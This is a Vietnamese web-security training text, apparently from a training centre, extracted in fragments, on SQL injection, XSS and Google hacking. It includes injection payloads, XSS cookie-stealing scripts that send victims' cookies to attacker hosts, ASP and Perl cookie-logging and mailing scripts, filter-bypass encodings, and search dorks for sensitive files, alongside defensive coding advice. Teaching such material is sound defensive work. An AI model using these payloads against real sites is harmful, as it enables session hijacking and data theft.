Đề tài: Tìm hiểu về các lỗ hổng thường gặp trong Website và cách khăc phục chúng - Pdf 13


2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ
1 Đề Tài:

Các Lỗ Hỏng Thường Gặp Trên Hệ
Thống Website 2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN



- Lỗ hổng loại A: Các lỗ hổng này cho phép người sử dụng ở ngoài có thể
truy nhập vào hệ thống bất hợp pháp. Lỗ hổng rất nguy hiểm, có thể làm
phá hủy toàn bộ hệ thống.

Sau đây sẽ phân tích một số lỗ hổng bảo mật thường xuất hiện trên mạng
và hệ thống
3.Các kiểu tấn công thường gặp:

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ
3
-SQL Injection.
- Cross site scripting (XSS): non-persistent
-Local Attack
-Google Hack

B. Các Kiểu Tấn Công Thường Gặp Và Cách Phòng
Chống:
I/SQL ịnjection:
1. SQL Injection là gì?

Khi triển khai các ứng dụng web trên Internet, nhiều người vẫn
nghĩ rằng việc đảm bảo an toàn, bảo mật nhằm giảm thiểu tối đa khả năng
bị tấn công từ các tin tặc chỉ đơn thuần tập trung vào các vấn đề như chọn
hệ điều hành, hệ quản trị cơ sở dữ liệu, webserver sẽ chạy ứng dụng,


Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng
nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu
của ứng dụng web.
Một ví dụ điển hình, thông thường để cho phép người dùng truy cập

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ
5
vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng
nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu.
Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng
nhập
và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực
hiện tiếp.
Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML
để hiển thị form nhập liệu và một trang ASP dùng để xử lí thông tin nhập
từ phía người dùng. Ví dụ:

CODE
<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="fUSRNAME"><br>
Password: <input type="password" name="fPASSWORD"><br>
<input type="submit">
</form>


nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh SQL.
Chính điều này cho phép những kẻ tấn công có thể điều khiển câu truy
vấn sẽ được thực hiện. Ví dụ, nếu người dùng nhập chuỗi sau vào trong cả
2 ô nhập liệu username/password của trang login.htm là:
' OR ' ' = ' '. Lúc này, câu truy vấn sẽ được gọi thực hiện là:
SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and
USR_PASSWORD= '' OR ''=''

Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của
T_USERS và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp
này như là người dùng đăng nhập hợp lệ.

b. Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công
này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các
thông báo lỗi từ hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn
công.
Xét một ví dụ rất thường gặp trong các website về tin tức. Thông thường,
sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn nội dung
của tin có ID này. Mã nguồn cho chức năng này thường được viết khá đơn
giản theo dạng CODE
<%
Dim vNewsID, objRS, strSQL
vNewsID = Request("ID")
strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" &
vNewsID


vAuthorName = Request("fAUTHOR_NAME")
strSQL = "SELECT * FROM T_AUTHORS WHERE
AUTHOR_NAME =' " & _
vAuthorName & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN= "

Set objRS = Nothing
%>
2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ
8
Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn
SQL để nhập vào trường tên bằng chuỗi giá trị:
' UNION SELECT ALL SELECT OtherField FROM OtherTable
WHERE ' '=' (*)
Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ
thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa.
Tất nhiên các ví dụ nói trên, dường như không có gì nguy hiểm, nhưng kẻ
tấn công có thể xóa toàn bộ cơ sở dữ liệu bằng cách chèn vào các đoạn
lệnh nguy hiểm như lệnh DROP TABLE. Ví dụ như: ' DROP TABLE
T_AUTHORS
Nhập vào chuỗi (*) như trên, nếu hệ thống báo lỗi về cú pháp dạng:

<%
strSQL = "INSERT INTO TableName VALUES(' " & strValueOne
& " ', ' " _
& strValueTwo & " ', ' " & strValueThree & " ') "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN= "

Set objRS = Nothing
%>

Thì sẽ bị lỗi SQL injection, bởi vì nếu ta nhập vào trường thứ nhất ví dụ
như: ' + (SELECT TOP 1 FieldName FROM TableName) + '. Lúc này
câu truy vấn sẽ là: INSERT INTO TableName VALUES(' ' +
(SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def').
Khi đó, lúc thực hiện
lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện thêm một lệnh nữa
đó là: SELECT TOP 1 FieldName FROM TableName

d Dạng tấn công sử dụng stored-procedures

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ
10 Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng

Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu lệnh SQL là
bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận được từ đối
tượng Request (Request, Request.QueryString, Request.Form,
Request.Cookies, and Request.ServerVariables). Ví dụ, có thể giới hạn
chiều dài của chuỗi nhập liệu, hoặc xây dựng hàm EscapeQuotes để thay
thế các dấu nháy đơn bằng 2 dấu nháy đơn như:
CODE
<%
Function EscapeQuotes(sInput)
sInput = replace(sInput, " ' ", " ' ' ")
EscapeQuotes = sInput
End Function
%>
Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay
thế một giá trị được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL
bất hợp pháp. Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng
kiểu hay không bằng hàm IsNumeric().
Ngoài ra có thể xây dựng hàm loại bỏ một số kí tự và từ khóa nguy hiểm
như: ;, , select, insert, xp_, … ra khỏi chuỗi dữ liệu nhập từ phía người
dùng để hạn chế các tấn công dạng này:
CODE
<%
Function KillChars(sInput)
dim badChars
dim newChars
badChars = array("select", "drop", ";", " ", "insert", "delete",
"xp_")
newChars = strInput

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM

phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các
đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS. Trong bài viết này
sẽ đề cập sơ lược tới XSS với một số kinh nghiệm qua kĩ thuật tấn công
này.
2. XXS là gì?
Cross-Site Scripting hay còn được gọi tắt là XSS là một kĩ thuật tấn
công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP )
những đoạn mã script nguy hiểm để thực thi 1 câu lệnh nào đó . Trong đó,
những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ
13
Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả
các thẻ HTML.
Các phương thức XSS:
- non-persistent XSS (Reflected XSS)
-persistent XSS (Stored XSS)
-Dom-Based XSS
A. XSS hoạt động như thế nào?

Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó
cũng là các yêu cầu (request) được gửi từ các máy client tới server nhằm
chèn vào đó các thông tin vượt quá tầm kiểm soát của server. Nó có thể là
một request được gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các
URL như là

B. Khai thác với XSS
Nhận biết website bị dính lỗi XSS :

Thường thì XSS có thể xảy ra ở chỗ nào mà người dùng có thể
nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó .Nên thường chúng ta
sẽ kiểm tra ở những login form đầu vào .Khi nhập 1 chuỗi kí tự nào đó mà
kết quả của server trả về có dính tới chuỗi mà bạn nhập thì rất có khả
năng site bị dính XSS .

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ
15 Giả sử đoạn code chèn XSS là : < script>alert(„XSS‟)< /script> vào login
form và sau đó nhận đc Popup có chữ XSS thì chắc chắn site đó bị dính
XSS
Note : 1 số trường hợp bị dính lỗi XSS nhưng ko xuất hiện XSS à lúc
này phải View source , nếu thấy có < script>alert(„XSS‟)< /script> thì
khai thác.
Một cách khác là chèn script vào các biến truyền trực tiếp trên address.
Vd : http://sitebixss.com/index.php?act=[chèn xss vào đây]
Giả sử đoạn code chèn XSS là : < script>alert(„XSS‟)< /script> và cũng
nhận đc popup XSS thì site đó cũng bị dính .
Khai thác :
Thông thường các attacker sử dụng XSS để lấy các thông tin quan trọng :

header("location: http://DIACHIDEDUDO.DUDO");
?>

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ
17
XSS giúp steal được cookie của victim, khai thác trên trình duyệt như sau:
CODE
http://sitexss.com/index.php?act=<script>location="http://hostcuaba
n.com/cookie.php?cookie="+(document.cookie)
</script>
Cookie victim sẽ lưu lại ở file xss.txt trên host của bạn
Bây giờ chỉ còn việc dụ "Alert" admin vào link, đổi
DIACHIDEDUDO.DUDO lai thành site muốn nó vào sau khi cookie đã
lưu lại.

+Dùng file .asp
Tạo 1 file cookie.asp có nội dung như thế này :

<%
Set x = CreateObject("Scripting.FileSystemObject")
Set y = x.OpenTextFile(Server.MapPath("mask.txt"), 8, true)
y.WriteLine Request.QueryString("cookie")
y.Close
Set y = Nothing
Set x = Nothing

#http://www.hacker.com/steal.cgi?XXXXXXX
print COOKIES "$ENV{ ' QUERY_STRING ' } from $ENV { '
REMOTE_ADDR'} \n;
#now mail the alert as well so we can start hijack
open (MAIL,"|$mailprog -t");
print MAIL " To: hacker\ @hacker.com \n";
print MAIL " From: cookie_steal \ @hacker.com \n";
print MAIL " Subject :Stolen cookie \n\n";
print MAIL "-" x 75 . "\n\n;
print MAIL "$ENV{ 'QUERY_STRING'} from $ENV{
'REMOTE_ADDR'} \n";
close (MAIL);
sử dụng :
CODE
<script>document.location.repleace('http://hacker/steal.cgi?' + document.cookie
) ;</script>
Không phải lúc nào bạn cũng có thể dễ dàng chèn code , lắm lúc
cũng phải linh hoạt 1 chút bởi vì người lập trình website cũng đâu thể nào
dễ dàng để cho chúng ta lộng hành như vậy , họ cũng có chiêu để ngăn
cản chúng ta , cách họ dùng là "Lọc code" (Anti-XSS Filter) . Cơ chế của
họ như sau : bộ lọc này sẽ loại bỏ các kí tự đặc biệt mà người dùng nhập
vào , đơn giản vậy thôi .
Giả sử :
1/ Nếu "Bộ lọc" loại bỏ 2 kí tự "<" và ">" :
Hacker sẽ dùng "\x3c" và "\x3e" để thay thế và bắt đầu chèn code với
:
') + ') + '\x3cscript

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN

Chuỗi "%26%7balert%28%27Mask%27%29%7d%3b" chính là
{alert('XSS')}; đã được mã hoá
C. Phát hiện XSS bằng cách nào ?
Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn
bạn có thể tham khảo danh sách các lỗ hổng của chương trình bạn trên các
trang web chứa các thông tin về bảo mật như securityfocus.com,
securiteam.com, Tuy nhiên nếu các website được tự viết mã nguồn thì
bạn không thể áp dụng phương pháp trên. Trong trường hợp này bạn cần
đến các chương trình scanner tự động. Nếu như bạn sử dụng trong môi

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ
20
trường Windows bạn có thể dùng N-Stealth hay AppScan, đó là những
chương trình scan khá tuyệt, bạn không chỉ kiểm tra được các lỗi XSS mà
nó còn cho phép bạn kiểm tra các lỗi khác trong Website đó, Server đó.
Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu như bạn chỉ
muốn kiểm tra các lỗi XSS có trong website, bạn chỉ cần sử dụng
screamingCSS. Đó là một Perl Script sẽ mở các kết nối tới website (sử
dụng Perl's socket) để kiểm tra các lỗi XSS của bạn. Hơn nữa bạn có thể
sử dụng nó trong cả môi trường Unix lẫn Windows.
D. Ngăn ngừa XSS như thế nào ?
Người ta không lường hết được mức độ nguy hiểm của XSS
nhưng cũng không quá khó khăn để ngăn ngừa XSS. Có rất nhiều cách để
có thể giải quyết vấn đề này.
OWASP (The Open Web Application Standard Project) nói rằng để có thể

Để có thể giải quyết vấn đề này, chúng ta có thể mã hoá các kí tự đặc biệt
của HTML với hàm HTML::Entities::encode(). Như vậy ta có thể có một
mã nguồn mới như sau:
Code:
#!/usr/bin/perl use CGI; use HTML::Entities; my $cgi = CGI->new();
my $text = $cgi->param('text'); print $cgi->header(); print "You
entered ", HTML::Entities::encode($text);
Với phương pháp này cũng có thể áp dụng đối với các ngôn ngữ
Web Application khác (ASP, PHP ). Để kiểm tra việc lọc và mã hoá dữ
liệu trước khi in ra, các bạn có thể dùng một chương trình được viết bằng
ngôn nhữ PHP, đặc biệt nó được thiết kế để phòng chống các lỗi XSS.
Bạn có thể lấy mã nguồn chương trình từ
http://www.mricon.com/html/phpfilter.html
III/Google Hack:
A.Giới thiệu
Google là máy tìm kiếm mạnh mẽ và phổ biến nhất thế giới,nó có
khả năng chấp nhận những lệnh được định nghĩa sẵn khi nhập vào và cho
những kết quả không thể tin được.Điều này cho phép những người dùng
có dã tâm như tin tặc, crackers, và script kiddies v.v sử dụng máy tìm
kiếm Google để thu thập những thông tin bí mật và nhạy cảm, những cái
mà không thể nhìn thấy qua những tìm kiếm thông thường.

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ
22


b.[ inurl: ]
Cú pháp “inurl:” giới hạn kết quả tìm kiếm về những địa chỉ
URL có chứa từ khóa tìm kiếm. Ví dụ: “inurl: passwd” (không có
ngoặc kép) sẽ cho kết quả là những link đến những trang có từ
"passwd" trong URL.
Tương tự, nếu ta muốn truy vấn nhiều hơn một từ trong URL

2 BIS ĐINH TIÊN HOÀNG,DAKAO, QUẬN 1, TPHCM
TEL : 38244041– 090 78 79 477 WEBSITE : WWW.ATHENA.EDU.VN
Tài liệu nghiên cứu an ninh web – lưu hành nội bộ
24
thì ta có thể dùng “allinurl:” thay cho “inurl” để được kết quả là
những URL chứa tất cả những từ khóa tìm kiếm.Ví dụ: “allinurl:
etc/passwd“ sẽ tìm kiếm những URL có chứa “etc” và “passwd”.
Ký hiệu gạch chéo (“/”) giữa các từ sẽ bị Google bỏ qua.

c.[ site: ]
Cú pháp “site:” giới hạn Google chỉ truy vấn những từ khóa
xác định trong một site hoặc tên miền riêng biệt. Ví dụ: “exploits
site:hackingspirits.com” (không có ngoặc kép) sẽ tìm kiếm từ khóa
“exploits” trong những trang hiện có trong tất cả các link của tên
miền “hackingspirits.com”. Không có khoảng trống nào giữa “site:”
và “tên miền”.
d.[ filetype: ]
Cú pháp “filetype:” giới hạn Google chỉ tìm kiếm những files
trên internet có phần mở rộng riêng biệt (Ví dụ: doc, pdf hay ppt
v.v ). Ví dụ : “filetype:doc site:gov confidential” (không có ngoặc

của trang web.
Nếu bao gồm những từ khác trong truy vấn, Google sẽ điểm
sáng những từ này trong văn bản đã được lưu lại.
Ví dụ: “cache:www.hackingspirits.com guest” sẽ cho ra văn bản đã
được lưu lại có từ "guest" được điểm sáng.
h.[ intext: ]

Cú pháp “intext:” tìm kiếm các từ trong một website riêng biệt. Nó
phớt lờ các liên kết hoặc URL và tiêu đề của trang.
Ví dụ: “intext:exploits” (không có ngoặc kép) sẽ cho kết quả là
những liên kết đến những trang web có từ khóa tìm kiếm là
"exploits" trong các trang của nó.
i.[ phonebook: ]
“phonebook” tìm kiếm thông tin về các địa chỉ đường phố ở Mỹ và
số điện thoại. Ví dụ:
“phonebook:Lisa+CA” sẽ liệt kê tất cả các tên người có từ “Lisa”
trong tên và ở “California (CA)”. Cú pháp này có thể được sử dụng
như là một công cụ tuyệt vời của tin tặc trong trường hợp ai đó
muốn tìm kiếm thông tin cá nhân cho công việc xã hội.
Truy vấn các site hoặc server dễ bị tấn công sử dụng các
cú pháp nâng cao của Google.Những cú pháp truy vấn nâng cao
thảo luận ở trên thực sự có thể giúp người ta chính xác hóa các tìm
kiếm và có được những gì họ thực sự tìm kiếm.
Bây giờ Google trở thành một máy tìm kiếm thông minh,
những người dùng có ác ý không hề bận tâm khai thác khả năng của
nó để đào bới những thông tin bí mật từ internet mà chỉ có sự truy
cập giới hạn. Bây giờ tôi sẽ thảo luận những kỹ thuật này một cách
chi tiết làm thế nào để những người dùng ác tâm đào bới thông tin
trên internet sử dụng Google như một công cụ. Sử dụng cú pháp
“Index of ” để tìm kiếm các site cho phép duyệt chỉ mục


Nhờ tải bản gốc

Tài liệu, ebook tham khảo khác

Music ♫

Copyright: Tài liệu đại học © DMCA.com Protection Status